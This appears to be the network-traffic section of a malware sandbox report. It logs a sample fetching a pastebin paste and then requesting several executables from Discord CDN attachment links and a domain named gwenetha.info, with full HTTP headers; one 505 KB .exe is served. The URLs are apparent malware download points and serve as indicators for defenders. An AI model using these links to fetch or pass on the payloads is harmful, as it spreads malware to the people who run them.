Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:17:14 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d7a121a5ff132850509738a0eaf9fd6ac1617758233; expires=Fri, 07-May-21 01:17:13 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED cf-request-id: 094b80bd09000012d6a0135000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63bf6a41aba112d6-ICN

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:17:15 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=db2cfe6de60a7e6e0c4fa0820b83506371617758234; expires=Fri, 07-May-21 01:17:14 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bf6a48be960158-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:17:15 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094b80c1730000015812219000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UxOIOr9K98p_nuGwWJJvGhCsJYfd9Yl5SaeziGi1eku7M-XrP_2RxAHt4cTBIKOOCSZ5ysVsVrOqFjAPEmd1kOxe9VvxA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=8E5AXDd2eRcbWTPS6kqH9MiUJW3Q0i8kaDm4Mu4c3flU4UpfIr2pM%2Fzb33%2FViQCZOo8GuKcnAbYXFrsjevtUXt94rhTJlv0XDBTIvtvVx3g%2FvII%3D"}],"max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:17:15 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d744e12220948b88bf0ed646c54c02a1a1617758235; expires=Fri, 07-May-21 01:17:15 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bf6a48bfa8e9cc-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:17:15 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094b80c1740000e9cc7c20c000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uz_O5elQFI4yg1_85dCKwK39HJ70G72NmsgIWLlwvs2XJq5Qxo_3DKCgl7s9tFAKQ2-8doURS2yrGXlwMWPMRQ X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ADl8oDPB%2FVMJuTVc2D2RtPJpZ5zhO85FvnrjkIaDcOJvp1oZqagt5a7C%2FL8Ujr%2Bpfk6logBJmfPBqByHNbcegwUsoYwapyS2BpvHd%2FJcl4sJKTs%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

HTTP/1.1 404 Not Found Date: Wed, 07 Apr 2021 01:17:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 19 Connection: keep-alive Set-Cookie: __cfduid=ded638c57ad86089734a9547a4559e4461617758235; expires=Fri, 07-May-21 01:17:15 GMT; path=/; domain=.gwenetha.info; HttpOnly; SameSite=Lax X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 094b80c39c0000eb8d1e2d7000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=JekaBa1qOnTxm%2FqCRgC9QaqYLaWeJEoTviYcdj2lmmjQvSA1k54%2BsFP5vv31JEDmxedRvFQ0%2BRO6tjAjDa2OMVEbF2wjT6L354CvbweX"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63bf6a4c2eb6eb8d-LAX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=de81d5bf2cd4236bc177e56a42b59eafa1617758237; expires=Fri, 07-May-21 01:17:17 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094b80ca2e0000a1d19e107000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=Fikag0cMye9pX0JxAphgLDDv7OxZydVNB9Y%2BmHcxTj90qn8KfiK1zlMAawfNwSB8B0m2OeD96kl%2BDB%2F4za3H%2BakojL9CH3zRCMHkz0q7aAmB9Go%3D"}],"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare CF-RAY: 63bf6a56bbdca1d1-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 01:17:17 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=deeaf13f9ebcad269a669f5c664f51d1c1617758237; expires=Fri, 07-May-21 01:17:17 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bf6a56bc2ae9e8-ICN Accept-Ranges: bytes Age: 613246 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 01:17:17 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094b80ca320000e9e86d2e9000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=WGyiuQimo5ifrGZAzBRwNwskA2mkpmriPhb4CPbF8xhj5arvLDNVcNN6fO%2Bw%2FZ2pJGpiCKmtX72FPqyJdHbM2zLMZOyytwZ%2FYLgDKl2C7xNVBzA%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 01:17:17 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=deeaf13f9ebcad269a669f5c664f51d1c1617758237; expires=Fri, 07-May-21 01:17:17 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63bf6a573cf1e9e8-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 01:17:17 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094b80ca7f0000e9e88796c000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzeqkbkC4HEs9azEuj0YlkW2KKkoSdXLRdiTcjGCuHm6OB_W_ujI6Tb1jOZwfU_nnVft5RqTUQDESFRO84CHBVk8tl21Q X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=trr7KTMqO7%2F8zdPawAVxvlcMKXf%2BUIX2c6fb7NhATRwxN%2BxLeMKqUac5FVvOkc8RYAdznU%2Bh8HB3S8W%2BKamBfuXifS3UAfI1%2FsX%2F8rdaN%2BZxgSc%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare